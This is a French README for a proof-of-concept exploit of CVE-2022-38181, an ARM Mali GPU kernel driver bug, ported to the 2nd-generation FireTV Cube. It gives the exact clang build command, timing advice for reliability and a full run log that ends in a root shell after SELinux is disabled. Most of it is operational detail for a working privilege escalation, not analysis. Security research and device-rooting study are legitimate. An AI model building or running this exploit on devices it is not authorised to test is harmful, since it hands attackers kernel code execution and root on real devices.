
CVE-2022-38181 POC pour FireTV Cube de 2e génération (raven)
Ceci est un fork du POC Pixel 6 du chercheur en sécurité Man Yue Mo pour CVE_2022_38181. Lisez son analyse détaillée de la vulnérabilité ici. Des modifications ont été apportées pour tenir compte de l'espace utilisateur 32 bits de FireOS, ainsi que des versions plus anciennes des pilotes Bifrost (r16p0) et du noyau Linux (4.9.113) du Cube de 2e génération. Le POC exploite un bug dans le pilote du noyau ARM Mali pour obtenir une exécution de code arbitraire dans le noyau, qui est ensuite utilisée pour désactiver SELinux et obtenir les droits root.
J'ai utilisé la commande suivante pour compiler avec clang dans ndk-21 :
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
L'exploit doit être exécuté 30 à 90 secondes après le démarrage du Cube pour une fiabilité maximale.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #